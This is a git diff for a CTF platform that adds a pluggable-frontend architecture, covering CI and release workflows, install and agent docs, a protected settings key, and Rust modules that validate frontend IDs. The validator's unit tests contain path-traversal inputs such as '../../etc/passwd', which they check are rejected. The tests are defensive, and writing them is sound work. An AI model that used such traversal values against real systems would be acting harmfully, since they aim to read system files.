diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 3357d653..a7611b2f 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -76,9 +76,24 @@ jobs: cache: pnpm cache-dependency-path: pnpm-lock.yaml - run: pnpm install --frozen-lockfile + # 先构建 workspace 包:前端按 package.json exports 解析 @floatctf/*, + # 类型检查与构建都依赖 packages/*/dist 存在。 + - run: pnpm run build:packages + # 架构边界 + 契约版本一致性(SDK 必须框架无关;bootstrap 不得带上默认前端……) + - run: ./scripts/check-architecture.sh + - run: pnpm --filter @floatctf/frontend-runtime lint + - run: pnpm --filter @floatctf/sdk lint + - run: pnpm --filter @floatctf/react lint - run: pnpm --filter @floatctf/web lint - - run: pnpm --filter @floatctf/web test - - run: pnpm --filter @floatctf/web build + - run: pnpm --filter @floatctf/frontend-default lint + - run: pnpm run test:web + - run: pnpm run build:web + # 发布形态验证:打包 web-dist 并断言布局/manifest/脚本语法(与 release 同一脚本)。 + - run: ./scripts/package-web-dist.sh /tmp/web-dist.tar.gz + - run: ./scripts/verify-release-frontend.sh /tmp/web-dist.tar.gz + # 前端管理器契约 / 安全负向测试(manifest 校验、注册表数据边界、制品树安全、 + # 版本不可变、显式指针、构建身份非 root)。不依赖 docker。 + - run: ./scripts/test-frontend-manager.sh docker-e2e: name: CI-docker · AWD infra smoke (on-demand) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index c4131cda..26fe6a9f 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -27,7 +27,10 @@ jobs: cache: pnpm cache-dependency-path: pnpm-lock.yaml - run: pnpm install --frozen-lockfile - - run: pnpm --filter @floatctf/web build + # workspace 包必须先构建:bootstrap 与 Default Frontend 都按 package.json 的 + # exports 解析 @floatctf/*(指向 packages/*/dist)——这正是发布形态。 + - run: pnpm run build:packages + - run: pnpm run build:web # ── 后端(全 workspace 二进制)── - uses: dtolnay/rust-toolchain@stable @@ -36,11 +39,12 @@ jobs: # 不构建 tests / benches / examples,也不为未发布的 workspace bin 产生本地 artifact。 - run: cargo build --locked --release -p floatctf -p floatctf-helper --bins - # ── 发布 4 个产物(供 install.sh 下载部署)── - # 1. floatctf API 二进制(installer 以此本地构建生产容器 image) + # ── 发布 5 个产物(供 install.sh 下载部署)── + # 1. floatctf API 二进制(installer 以此本地构建生产容器 image) # 2. floatctf-helper 宿主控制面二进制 - # 3. web-dist.tar.gz 前端静态产物 - # 4. merged.sql 单个 SQL(fresh-DB bootstrap) + # 3. web-dist.tar.gz bootstrap 静态页 + 版本化 Default Frontend 制品 + # 4. merged.sql 单个 SQL(fresh-DB bootstrap) + # 5. frontend.sh 前端管理器(安装到 $FLOATCTF_HOME/frontend.sh) - name: Assemble release artifacts shell: bash run: | @@ -52,15 +56,26 @@ jobs: # 2) 宿主控制面 install -m 0755 target/release/floatctf-helper floatctf-helper - # 3) 前端静态产物 - tar -czf web-dist.tar.gz -C apps/web/dist . + # 3) Web 产物(bootstrap/ + frontends/default//,布局由脚本保证) + bash scripts/package-web-dist.sh web-dist.tar.gz # 4) merged.sql(确定性 fresh-DB bootstrap) bash apps/api/src/sql/migrate.sh make install -m 0644 apps/api/src/sql/merged.sql merged.sql + # 5) 前端管理器(生产无需源码签出即可安装前端) + install -m 0755 scripts/frontend.sh frontend.sh + echo "release artifacts:" - ls -la floatctf floatctf-helper web-dist.tar.gz merged.sql + ls -la floatctf floatctf-helper web-dist.tar.gz merged.sql frontend.sh + + - name: Verify frontend release artifacts + shell: bash + run: | + set -euo pipefail + # 断言归档布局、Default Frontend manifest/entry/styles、无源码残留、 + # 脚本语法,并用 frontend-runtime 的**真实校验器**再验一遍 manifest。 + bash scripts/verify-release-frontend.sh web-dist.tar.gz - name: Verify production API image shell: bash @@ -90,4 +105,5 @@ jobs: floatctf-helper web-dist.tar.gz merged.sql + frontend.sh generate_release_notes: true diff --git a/.gitignore b/.gitignore index dc267615..57e227bf 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,7 @@ target/ node_modules/ +# pnpm 的本地 content-addressable store(某些 CI/离线安装配置会在仓库根创建) +/.pnpm-store/ dist/ .env .env.* diff --git a/AGENTS.md b/AGENTS.md index ee8e22f7..53b0b258 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -4,7 +4,7 @@ ## 仓库一句话 -基于 Rust(Actix Web + SeaORM + PostgreSQL + RustFS)与 React 的 CTF 实训/竞赛平台(Jeopardy + AWD 双赛制),monorepo 结构:`apps/api`(后端)、`apps/web`(前端)、`crates/`(共享与独立服务)。 +基于 Rust(Actix Web + SeaORM + PostgreSQL + RustFS)与 React 的 CTF 实训/竞赛平台(Jeopardy + AWD 双赛制),monorepo 结构:`apps/api`(后端)、`apps/web`(**Web bootstrap 引导页**)、`frontends/default`(**官方前端 = 当前完整 UI**)、`packages/{sdk,react,frontend-runtime}`(可插拔前端平台)、`crates/`(共享与独立服务)。 ## HANDOFF.md(会话交接记忆) @@ -21,18 +21,21 @@ | [docs/agents/DATA-FETCHING.md](docs/agents/DATA-FETCHING.md) | **前端数据页面**:缓存分级、keepPreviousData、queryKey 失效 | | [docs/agents/TESTING.md](docs/agents/TESTING.md) | 测试规范:层级、写法、禁忌 | | [docs/agents/RULES.md](docs/agents/RULES.md) | **用户反复强调的规则与返工教训**:前端形态细则、禁原生弹窗、数据必须真实、环境约定 | +| [docs/frontend/ARCHITECTURE.md](docs/frontend/ARCHITECTURE.md) | **可插拔前端平台**:Frontend ≠ Theme、依赖方向、mount 契约、注册表/版本、信任模型与安全审查 | +| [docs/frontend/DEVELOPING.md](docs/frontend/DEVELOPING.md) | 前端开发:官方前端 / 外部仓库 / 安装激活回滚 | +| [docs/frontend/ARTIFACT.md](docs/frontend/ARTIFACT.md) | 制品:manifest 字段、路径安全规则、注册表 schema、归档格式、构建隔离 | ## 铁律(违反即返工) 1. **配置只从 TOML 读取**:`FLOATCTF_CONFIG` → `apps/api/config/development.toml` → `AppConfig`(经 `ReqCtx.config` 注入)。禁止新增环境变量读取;动态设置用 `get_setting`。 2. **Migrations 只前进,无论如何都不可以直接动已有迁移文件**:`apps/api/src/sql/migrations/` 下**已经存在**的文件(含 baseline `20260810121925-initial-schema.sql` / `20260810121926-initial-data.sql`,以及任何已提交或已 apply 的迁移)**绝对禁止**直接修改、删除、重命名、重写、squash、回滚式改写。改 Schema / 修 Schema 错误 / 补数据 **只能** `mise run db:migration:new <名称>` 追加**新**迁移,把 SQL 写进这个新文件。禁止手改 `merged.sql`(生成产物);禁止在 migration 或业务代码里操作 `schema_migrations`(由 migrate.sh 独占)。唯一允许写入的对象:刚 `new` 出来、尚未 apply、尚未作为历史固化的**新文件**。详细见 [DATABASE.md](docs/agents/DATABASE.md)。 -3. **实体是生成的**:手改 `apps/api/src/entity/` / `apps/web/src/entity/` 会被覆盖。Schema 变更流程:`db:migration:new` → 写幂等 SQL + 中文 COMMENT(**文件内禁止 BEGIN/COMMIT**)→ `db:migration:validate` → `db:migration:apply` → `mise run db:gen`。`merged.sql` 由 release 流程从 migrations 确定性生成;日常开发启动不依赖它。**sea-orm-cli 必须 1.1.20**。`public.schema_migrations` 不是领域实体(generator 已排除)。API 计算字段(如 settings `resolved_value`)放 manual DTO,不要写回生成文件。 +3. **实体是生成的**:手改 `apps/api/src/entity/` / `packages/sdk/src/entity/` 会被覆盖。Schema 变更流程:`db:migration:new` → 写幂等 SQL + 中文 COMMENT(**文件内禁止 BEGIN/COMMIT**)→ `db:migration:validate` → `db:migration:apply` → `mise run db:gen`。`merged.sql` 由 release 流程从 migrations 确定性生成;日常开发启动不依赖它。**sea-orm-cli 必须 1.1.20**。`public.schema_migrations` 不是领域实体(generator 已排除)。API 计算字段(如 settings `resolved_value`)放 manual DTO,不要写回生成文件。 4. **三处一致**:数据库 Schema / 生成实体 / 业务代码引用必须一致(`entity/代码/库` 漂移是历史最高频 bug 源)。 5. **敏感值走 `Secret`**:Debug/日志必须脱敏;`auth.jwt_secret` 等不落日志、不入库。 6. **宿主权限只走 helper**:生产 API 是 Compose 内的非 root 容器,必须保持 `cap_drop=ALL`、`no-new-privileges`、read-only rootfs,禁止挂载 `/var/run/docker.sock`、加入 docker 组或获得 `CAP_NET_ADMIN`;Docker 走 `helper-docker.sock`,WireGuard/nftables/conntrack 走 `helper-control.sock`。新增高权限能力必须先扩展 helper 的受限协议/策略。宿主 systemd 只管理 `floatctf-helper.service` + `floatctf-infra.service`/`floatctf.target`,不要恢复 `floatctf-api.service`。 7. **提交规范**:中文 message(feat/fix/chore/docs/refactor 前缀),按角度分批提交;提交前 `cargo fmt --all && cargo check -p floatctf` 与相关测试全绿。**push 前必须本地完整过一遍验证**:`mise run check` 全绿,前端额外 `tsc --noEmit` 与 `vite build` 通过(CI 跑的是 `vite build && tsc`,本地不绿推送必红)。 8. **先诊断后修复**:修 bug 先定位根因并给证据;涉及行为/数据变更,先向用户说明方案获批后再动手。 -9. **前端仿照既有页面**:新页面先找同域参照页(赛事详情参照 `service/events/jeopardy.$id/*` 与 `awd.$id/*`、管理列表参照 `admin/challenges.tsx`、导航配置参照 `navigation/*`),结构/布局/交互与参照页保持一致;优先复用 `components/` 现有组件(GenericTable、EventStatusBadge、SubmitWriteup、MsgBanner、AppLink、FilterBar 等)与 `@primer/react`,禁止另起炉灶自创视觉风格或手写重复实现。管理页必须用 Challenges 内置 GenericTable 增删改查形态、样式对照要"一模一样"、默认最简方案等细则与全部返工案例见 [RULES.md](docs/agents/RULES.md)。 +9. **前端仿照既有页面**:官方前端现在位于 `frontends/default/`;新页面先找同域参照页(赛事详情参照 `service/events/jeopardy.$id/*` 与 `awd.$id/*`、管理列表参照 `admin/challenges.tsx`、导航配置参照 `navigation/*`),结构/布局/交互与参照页保持一致;优先复用 `components/` 现有组件(GenericTable、EventStatusBadge、SubmitWriteup、MsgBanner、AppLink、FilterBar 等)与 `@primer/react`,禁止另起炉灶自创视觉风格或手写重复实现。管理页必须用 Challenges 内置 GenericTable 增删改查形态、样式对照要"一模一样"、默认最简方案等细则与全部返工案例见 [RULES.md](docs/agents/RULES.md)。 10. **用户偏好(详细见 [RULES.md](docs/agents/RULES.md))**:禁止原生 `alert(`/`confirm(` 弹窗(一律用 Primer `useConfirm`/`Dialog`/`useMsgBanner`);展示数据必须来自真实接口、禁止假数据/占位糊弄("不要随便搞点数据糊弄我"),状态判定必须与后端一致。 ## 常用命令速查 @@ -49,12 +52,17 @@ mise run db:migration:apply # 执行未应用的迁移,fresh D mise run db:migration:merge # release/fresh-production 用 merged.sql mise run db:gen # 重新生成 Rust 实体 + TS 类型 mise run fmt / lint / test / check / build # 质量门禁 +mise run web:typecheck # 五个前端包 tsc --noEmit +mise run web:architecture # 前端架构边界 + 契约版本一致性(失败即红) +mise run dev:packages # 改动 packages/* 时以 watch 重建 dist +scripts/frontend.sh list|info|verify|install|remove|set-current # 前端管理器(生产装在 $FLOATCTF_HOME/frontend.sh) cargo test -p floatctf <关键词> # 跑指定单元测试 ``` ## 开发环境速记 - 唯一开发模式:`mise run dev`;不存在 A/B 双轨与 `floatctf-dev-infra.service`。 +- 可插拔前端:`apps/web` 是引导页,官方前端在 `frontends/default`;`mise run dev` 先构建 `packages/*` 再起 Default Frontend 的 Vite(HMR)。前端存储 `$FLOATCTF_HOME/frontends/`,管理器 `$FLOATCTF_HOME/frontend.sh`,激活是设置 `FRONTEND_ACTIVE`,破窗是 `?frontend=default`。 - API:当前开发者 UID 运行,`watchexec` 自动重编译/重启;`dev-api-run.sh` 每次启动时丢弃 docker 等附加组和 capabilities;Web:Vite HMR。 - 宿主控制面:`floatctf-helper.service`,用户 `floatctf-helper` + docker group + `CAP_NET_ADMIN`;API 通过 `/run/floatctf/helper-control.sock` 与 `/run/floatctf/helper-docker.sock` 调用,API 自身无 Docker socket / 网络 capability。 - 开发库:`postgres://postgres:postgres@127.0.0.1:5432/floatctf_db`;fresh DB 直接 `migration apply`,开发启动不需要 `merged.sql`。 diff --git a/INSTALL.md b/INSTALL.md index 78da29c8..392d0da7 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -218,15 +218,36 @@ net.bridge.bridge-nf-call-ip6tables=1 ## 6. Release 产物与 API image -`v*` tag 触发 `.github/workflows/release.yml`,发布四个部署产物: +`v*` tag 触发 `.github/workflows/release.yml`,发布五个部署产物: ```text floatctf API release binary floatctf-helper host control plane binary -web-dist.tar.gz Web static dist +web-dist.tar.gz bootstrap 引导页 + 版本化 Default Frontend 制品 merged.sql fresh PostgreSQL bootstrap +frontend.sh 前端管理器(安装到 $FLOATCTF_HOME/frontend.sh) ``` +`web-dist.tar.gz` 的布局是固定契约(由 `scripts/package-web-dist.sh` 组装、 +`scripts/verify-release-frontend.sh` 在发布前断言): + +```text +bootstrap/ # 引导页(无 React / 无 UI) + index.html + assets/… +frontends/ + default/ + / # 版本化不可变制品 + frontend.json + assets/{frontend.js,frontend.css,.js} +``` + +安装器把 `bootstrap/` 铺到 `$FLOATCTF_HOME/web`,把 `frontends/` 交给前端管理器安装 +(`$FLOATCTF_HOME/frontend.sh install … --platform --make-current`): +**升级只更新 release 里的前端,第三方已安装的前端、其版本与注册表指针一律保留**, +`FRONTEND_ACTIVE` 设置也不会被改动。详见 +[docs/frontend/ARCHITECTURE.md](docs/frontend/ARCHITECTURE.md)。 + 仍然发布原始 API binary,是为了让安装器无需依赖外部容器 registry。部署阶段会使用: ```text @@ -263,7 +284,8 @@ sudo env SITE_ADDRESS=ctf.example.com bash install.sh \ --api-url \ --helper-url \ --web-url \ - --migrate-url + --migrate-url \ + --frontend-manager-url ``` 等价环境变量: @@ -273,6 +295,7 @@ FLOATCTF_API_URL FLOATCTF_HELPER_URL FLOATCTF_WEB_URL FLOATCTF_MIGRATE_URL +FLOATCTF_FRONTEND_MANAGER_URL FLOATCTF_VERSION ``` @@ -350,9 +373,19 @@ enable units(不启动整个平台) ├── compose.prod.yml ├── merged.sql ├── .env +├── web/ # bootstrap 引导页(Caddy root /srv/web) +├── frontends/ # 已安装前端(Caddy 只读挂载到 /srv/frontends) +│ ├── registry.json # 本地注册表(no-store) +│ └── default// # 平台内置前端(受保护、版本化) +├── frontend.sh # 前端管理器(root:root 0755;无需源码签出) └── uninstall.sh ``` +前端生命周期:安装/升级/回滚用 `sudo $FLOATCTF_HOME/frontend.sh install|set-current|remove`; +**激活**在管理端 → 设置 → 前端(写动态设置 `FRONTEND_ACTIVE`);破窗恢复在任意页面加 +`?frontend=default`。安全卸载(不带 `--purge`)**保留** `frontends/` 与 `frontend.sh`, +因此重新部署能恢复同一套前端;`--purge` 才会一并删除。 + 说明:`data/`、`logs/`、`runtime/` 属主是 API 容器的数值身份 `65532:floatctf`; 根目录本身是 `root:floatctf 0750`。Redis 的数据落在 Compose named volume `floatctf-redis-data`(不是 `data/redis/`)。 diff --git a/README.md b/README.md index 178962c9..44923e64 100644 --- a/README.md +++ b/README.md @@ -56,7 +56,11 @@ FloatCTF 采用 Monorepo 结构,应用、共享 crate 和仓库级工具统一 | ---------------------------------------------------------------------- | ----------------------------------------- | | **[floatctf](https://github.com/FloatCTF/floatctf)** | FloatCTF Monorepo(当前仓库) | | `apps/api` | 后端 API(Rust / Actix Web) | -| `apps/web` | 前端(React) | +| `apps/web` | **Web bootstrap**:解析并加载已安装前端(无 React / 无 UI) | +| `frontends/default` | **官方前端**:当前完整 UI(React + TanStack Router + Primer) | +| `packages/sdk` | `@floatctf/sdk`:框架无关的客户端(传输 / 错误模型 / 领域 API / SSE / DTO) | +| `packages/react` | `@floatctf/react`:可选 headless React 绑定(无 UI) | +| `packages/frontend-runtime` | `@floatctf/frontend-runtime`:前端制品 / 运行时契约与 bootstrap 加载器 | | `crates/fcmc` | 共享容器管理与出题工具(crates.io: `cargo install fcmc`) | | `crates/awd-flagserver` | AWD FlagServer 独立服务 | | `crates/awd-judgeserver` | AWD JudgeServer 独立服务 | @@ -114,6 +118,37 @@ API 不发布宿主 9090 端口。Caddy 在 Compose 网络中直接访问 `api:9 Redis 与 PostgreSQL、RustFS 一样属于 API 的必需基础设施。API 启动时会主动 `PING` Redis,失败即停止启动;Redis 当前承载 realtime 跨节点扇出/全局 sequence、AWD 分布式限流、Web Terminal 一次性票据、scheduler 即时唤醒和 settings 热点缓存。 +### 可插拔前端(Pluggable Frontends) + +**前端 ≠ 主题**。一个前端是一个**完整的可替换浏览器应用**(自己的框架、路由、页面层级、 +布局、导航、登录 UX、管理端 UX 与设计系统);不同前端不要求有相同的页面或路由路径。 + +```text +FloatCTF Backend ── REST / SSE / Bearer ──► @floatctf/sdk + │ + ┌───────────────┴───────────────┐ + ▼ ▼ + @floatctf/react (任意非 React 前端) + │ │ + └───────────► Frontend ◄────────┘ + 官方:frontends/default 第三方:独立仓库 + +@floatctf/frontend-runtime = 制品/运行时契约(框架无关) +apps/web = 极薄的 bootstrap 引导页 +``` + +- 浏览器加载顺序:`bootstrap/index.html` → `GET /api/frontend` → 本地注册表 + `/__floatctf/frontends/registry.json` → 兼容性校验 → 注入样式 → 同源动态 import + → `frontend.mount(context)`;任一步失败回退 `default`,再失败显示内置兜底页。 +- 前端安装/升级/回滚是**运维 CLI**:`sudo $FLOATCTF_HOME/frontend.sh install <目录|Git URL|制品>`; + 激活是**管理端设置**(`FRONTEND_ACTIVE`)。浏览器不安装、不构建、不克隆。 +- 破窗恢复:任意页面加 `?frontend=default`(只影响当前加载,不改设置,不需登录)。 +- 第三方前端是**可信应用代码**:它运行在 FloatCTF 源下、会接触用户凭据; + 构建隔离只降低宿主风险,**不是**沙箱。 + +详见 [docs/frontend/ARCHITECTURE.md](docs/frontend/ARCHITECTURE.md)、 +[DEVELOPING.md](docs/frontend/DEVELOPING.md)、[ARTIFACT.md](docs/frontend/ARTIFACT.md)。 + ## 环境要求 生产和完整开发环境都需要 Linux、systemd、Docker + Compose、nftables、WireGuard、iproute2、conntrack、iptables,以及 IPv4 转发和 `br_netfilter`。自动安装路径当前验证于 Arch Linux。 diff --git a/apps/api/src/core/contract.rs b/apps/api/src/core/contract.rs new file mode 100644 index 00000000..1d67c839 --- /dev/null +++ b/apps/api/src/core/contract.rs @@ -0,0 +1,62 @@ +//! 对外契约版本(前端平台)。 +//! +//! 三个版本是**互相独立**的概念,禁止合并成一个变量(详见 +//! `docs/frontend/ARCHITECTURE.md`「版本策略」): +//! +//! | 常量 | 含义 | 何时 +1 | +//! |---|---|---| +//! | [`API_CONTRACT_VERSION`] | 前端可见的 HTTP API 契约 major | 破坏性 API 变更(删字段 / 改语义 / 改必填) | +//! | [`FRONTEND_RUNTIME_CONTRACT_VERSION`] | 前端制品与 `mount(context)` 契约 major | 破坏 `frontend.json` 或 runtime 接口 | +//! | 平台版本(`CARGO_PKG_VERSION`) | FloatCTF 平台自身版本 | 按仓库既有发版策略 | +//! +//! **加法式变更不升 major**:新增可选字段、新增端点、新增响应字段都留在当前 +//! contract major 内。只有"旧前端会因此坏掉"的变更才升 major,并且必须同步 +//! `packages/frontend-runtime/src/version.ts`(`scripts/check-architecture.sh` 会 +//! 断言两边一致,防止漂移)。 + +/// 前端可见的 HTTP API 契约 major(`GET /api/frontend` 的 `api_contract_version`)。 +pub const API_CONTRACT_VERSION: &str = "1"; + +/// 前端运行时契约 major(`GET /api/frontend` 的 `frontend_runtime_version`)。 +pub const FRONTEND_RUNTIME_CONTRACT_VERSION: &str = "1"; + +/// 平台真实且稳定的能力标记白名单。 +/// +/// `GET /api/frontend` 只允许返回这里的元素:能力列表是**公开**契约, +/// 不能随手把内部特性写进去(既有泄露风险,也会让前端探测到不存在的功能)。 +pub const PLATFORM_CAPABILITIES: &[&str] = &[ + "jeopardy", + "awd", + "awdp", + "discussions", + "writeups", + "web_terminal", +]; + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn contract_majors_are_positive_integers() { + for value in [API_CONTRACT_VERSION, FRONTEND_RUNTIME_CONTRACT_VERSION] { + assert!( + value.parse::().is_ok(), + "contract major must be an integer string, got {value:?}" + ); + } + } + + #[test] + fn capabilities_are_lowercase_identifiers() { + for capability in PLATFORM_CAPABILITIES { + assert!(!capability.is_empty()); + assert!( + capability + .chars() + .all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '_'), + "capability must be a lowercase identifier: {capability:?}" + ); + } + } +} diff --git a/apps/api/src/core/mod.rs b/apps/api/src/core/mod.rs index 654d2bda..3cd18da6 100644 --- a/apps/api/src/core/mod.rs +++ b/apps/api/src/core/mod.rs @@ -1,11 +1,15 @@ //! 跨模块核心原语:配置、密钥、鉴权、系统固定主键等。 pub mod config; +pub mod contract; pub mod secret; pub mod security; pub mod system_ids; pub use config::AppConfig; +pub use contract::{ + API_CONTRACT_VERSION, FRONTEND_RUNTIME_CONTRACT_VERSION, PLATFORM_CAPABILITIES, +}; pub use secret::Secret; pub use system_ids::{ EVENT_PRACTICE_JEOPARDY, EVENT_PRACTICE_JEOPARDY_SYSTEM_KEY, SCHED_CHECK_PRACTICE_EVENT, diff --git a/apps/api/src/infrastructure/settings.rs b/apps/api/src/infrastructure/settings.rs index 69822597..90fd80f8 100644 --- a/apps/api/src/infrastructure/settings.rs +++ b/apps/api/src/infrastructure/settings.rs @@ -11,72 +11,89 @@ use sea_orm::{ActiveValue::Set, DbConn, EntityTrait, sea_query::OnConflict}; /// /// 取值来自进程 TOML 配置;种子写入后仍可通过数据库编辑。 pub async fn seed_default_settings(db: &DbConn, config: &AppConfig) { - let defaults = vec![ + // 元组:(key, value, type, description, protected) + // + // `protected = true` 表示管理端**可以编辑**但**不可删除**。用于那些"删掉就 + // 静默回落默认值、但运维以为自己改坏了"的键(例如 FRONTEND_ACTIVE:删掉后 + // 平台会回到 default 前端,看起来像自定义前端"自己消失了")。 + #[allow(clippy::type_complexity)] + let defaults: Vec<(&str, String, SettingValueType, &str, bool)> = vec![ ( "INSTANCE_DESTROY_DELAY", "60".to_string(), SettingValueType::Integer, "实例销毁延迟时间 (分钟)", + false, ), ( "EVENT_SCORE_DECAY", "500".to_string(), SettingValueType::Integer, "比赛题目分数衰减系数", + false, ), ( "EVENT_SCORE_MIN_PERCENT", "0.45".to_string(), SettingValueType::Float, "比赛题目最低分数为题目的百分比", + false, ), ( "WORK_DIR", config.server.work_dir.clone(), SettingValueType::String, "工作目录(其他设置可用 {{WORK_DIR}} 引用)", + false, ), ( "CHALLENGES_DIR", "{{WORK_DIR}}/challenges".to_string(), SettingValueType::String, "题目位置(支持 {{WORK_DIR}} 等变量引用)", + false, ), ( "GAMEBOXES_DIR", "{{WORK_DIR}}/gameboxes".to_string(), SettingValueType::String, "GameBox 位置(支持 {{WORK_DIR}} 等变量引用)", + false, ), ( "HTTP_PREFIX", "http://".to_string(), SettingValueType::String, "HTTP前缀", + false, ), ( "NODE_IP", "127.0.0.1".to_string(), SettingValueType::String, "节点IP", + false, ), ( "FLAG_PREFIX", "flag".to_string(), SettingValueType::String, "全局flag前缀", + false, ), ( "MAIN_URL", config.main_url.clone(), SettingValueType::String, "主站地址前缀baseURL", + false, ), ( "SMTP_URI", "smtp.example.com:user@example.com:SMTP_PASS".to_string(), SettingValueType::String, "SMTP服务器地址与凭证", + false, ), // ── 风险清单 #14:以下 5 个键一直被代码读取,却从未 seed ────────────────── // 缺失时靠代码内兜底默认值生效,管理端设置页看不到它们 —— 想调限流阈值的人 @@ -88,38 +105,55 @@ pub async fn seed_default_settings(db: &DbConn, config: &AppConfig) { "30".to_string(), SettingValueType::Integer, "AWD 提交 flag 限流(每用户每分钟,Redis 滑动窗口;代码默认 30)", + false, ), ( "AWD_RATE_RESET_PER_HOUR", "5".to_string(), SettingValueType::Integer, "AWD 重置 GameBox 限流(每队伍每小时;代码默认 5)", + false, ), ( "AWD_RATE_INTERNAL_PER_MIN", "120".to_string(), SettingValueType::Integer, "AWD internal 端点限流(每赛事每分钟;代码默认 120)", + false, ), ( "AWD_NETWORK_REVISION", "0".to_string(), SettingValueType::Integer, "AWD 网络策略 revision(每次期望状态变化 +1;0 = 尚未 reconcile,由 reconcile 自动推进)", + false, ), ( "AWDP_DATA_PLANE_EXEC", "false".to_string(), SettingValueType::Boolean, "AWDP 判定是否在 JudgeServer 容器(数据面)内执行;生产必须置 true(API 只挂控制网,进程内探测必然失败),仅测试/mock 保持 false", + false, + ), + // ── 可插拔前端:当前生效的前端 ID(不是进程静态 TOML 配置)───────────── + // 前端安装/版本由文件系统注册表($FLOATCTF_HOME/frontends/registry.json)描述, + // 这里只记录"用哪个 ID"。protected:可编辑但不可删除(删掉等于静默回落 default)。 + // 值必须是安全前端 ID 否则后端会回落 default(见 platform/frontend/domain.rs)。 + ( + "FRONTEND_ACTIVE", + "default".to_string(), + SettingValueType::String, + "当前生效的前端 ID(对应 $FLOATCTF_HOME/frontends 下已安装的前端;default 始终随平台发布)", + true, ), ]; - for (key, value, value_type, description) in defaults { + for (key, value, value_type, description, protected) in defaults { let e = settings::Entity::insert(settings::ActiveModel { key: Set(key.to_string()), value: Set(value.to_string()), r#type: Set(value_type), description: Set(description.to_string()), + protected: Set(protected), ..Default::default() }) .on_conflict( diff --git a/apps/api/src/modules/platform/frontend/api.rs b/apps/api/src/modules/platform/frontend/api.rs new file mode 100644 index 00000000..92e2fed4 --- /dev/null +++ b/apps/api/src/modules/platform/frontend/api.rs @@ -0,0 +1,33 @@ +use crate::{ + api::prelude::*, + core::{API_CONTRACT_VERSION, FRONTEND_RUNTIME_CONTRACT_VERSION, PLATFORM_CAPABILITIES}, + infrastructure::settings::get_setting, +}; + +use super::{domain::normalize_frontend_id, dto::FrontendBootstrapDto}; + +/// 平台设置键:当前生效的前端 ID。 +pub const FRONTEND_ACTIVE_SETTING_KEY: &str = "FRONTEND_ACTIVE"; + +/// `GET /api/frontend` —— **未认证**公开引导元数据。 +/// +/// 必须在登录前可用:登录界面本身属于所选前端。因此这里没有任何认证守卫, +/// 返回内容也严格限制为公开契约字段(见 `FrontendBootstrapDto` 的注释)。 +#[get("")] +pub async fn get_frontend_bootstrap(ctx: ReqCtx) -> UniResult { + let active = get_setting(ctx.db.get_ref(), FRONTEND_ACTIVE_SETTING_KEY) + .await + .ok(); + + UniResponse::ok(Some(FrontendBootstrapDto { + active_frontend: normalize_frontend_id(active.as_deref()), + platform_version: env!("CARGO_PKG_VERSION").to_string(), + api_contract_version: API_CONTRACT_VERSION.to_string(), + frontend_runtime_version: FRONTEND_RUNTIME_CONTRACT_VERSION.to_string(), + capabilities: PLATFORM_CAPABILITIES + .iter() + .map(|c| (*c).to_string()) + .collect(), + })) + .into() +} diff --git a/apps/api/src/modules/platform/frontend/domain.rs b/apps/api/src/modules/platform/frontend/domain.rs new file mode 100644 index 00000000..022dd3dd --- /dev/null +++ b/apps/api/src/modules/platform/frontend/domain.rs @@ -0,0 +1,78 @@ +//! 前端标识的纯逻辑校验(无 I/O,可单测)。 +//! +//! 与 `packages/frontend-runtime` 的 `isSafeFrontendId` **同一契约**: +//! 小写字母/数字开头,随后 `[a-z0-9._-]`,最长 64 字符。 +//! +//! 为什么后端也要校验:`FRONTEND_ACTIVE` 是管理员可编辑的动态设置,而它会出现在 +//! **未认证**的 `GET /api/frontend` 响应里。后端绝不把未经校验的设置值原样回显 —— +//! 非法值一律回落 `default`,避免把一个被写坏的值当成"前端 ID"传播出去。 + +/// 前端 ID 最大长度(同时是注册表目录名上限)。 +pub const FRONTEND_ID_MAX_LENGTH: usize = 64; + +/// 平台内置、始终可用的前端 ID。 +pub const DEFAULT_FRONTEND_ID: &str = "default"; + +/// 校验前端 ID 是否满足受限形式。 +pub fn is_safe_frontend_id(value: &str) -> bool { + if value.is_empty() || value.len() > FRONTEND_ID_MAX_LENGTH { + return false; + } + let mut chars = value.chars(); + let Some(first) = chars.next() else { + return false; + }; + if !(first.is_ascii_lowercase() || first.is_ascii_digit()) { + return false; + } + value + .chars() + .all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || matches!(c, '.' | '_' | '-')) +} + +/// 把任意设置值归一化为可安全公开的前端 ID:非法/缺失一律取 `default`。 +pub fn normalize_frontend_id(value: Option<&str>) -> String { + match value { + Some(v) if is_safe_frontend_id(v) => v.to_string(), + _ => DEFAULT_FRONTEND_ID.to_string(), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn accepts_well_formed_ids() { + for id in ["default", "cyberpunk", "my.frontend_2", "a", "0abc"] { + assert!(is_safe_frontend_id(id), "should accept {id}"); + } + } + + #[test] + fn rejects_unsafe_ids() { + for id in [ + "", + "Default", + "../evil", + "a/b", + "-leading", + ".leading", + "with space", + "路径", + "a\\b", + ] { + assert!(!is_safe_frontend_id(id), "should reject {id:?}"); + } + let too_long = "a".repeat(FRONTEND_ID_MAX_LENGTH + 1); + assert!(!is_safe_frontend_id(&too_long)); + } + + #[test] + fn normalizes_unsafe_or_missing_values_to_default() { + assert_eq!(normalize_frontend_id(Some("cyberpunk")), "cyberpunk"); + assert_eq!(normalize_frontend_id(Some("../../etc/passwd")), "default"); + assert_eq!(normalize_frontend_id(Some("")), "default"); + assert_eq!(normalize_frontend_id(None), "default"); + } +} diff --git a/apps/api/src/modules/platform/frontend/dto.rs b/apps/api/src/modules/platform/frontend/dto.rs new file mode 100644 index 00000000..e789167d --- /dev/null +++ b/apps/api/src/modules/platform/frontend/dto.rs @@ -0,0 +1,20 @@ +use serde::Serialize; + +/// `GET /api/frontend` 响应体 —— **只**包含安全、稳定、可公开的引导元数据。 +/// +/// 刻意不包含:任意设置项、密钥、文件系统路径、注册表内容、前端资产路径、 +/// 内部版本号之外的任何内部信息。该端点**必须**在登录前可用,因为登录 UX 本身 +/// 属于所选前端。 +#[derive(Debug, Serialize)] +pub struct FrontendBootstrapDto { + 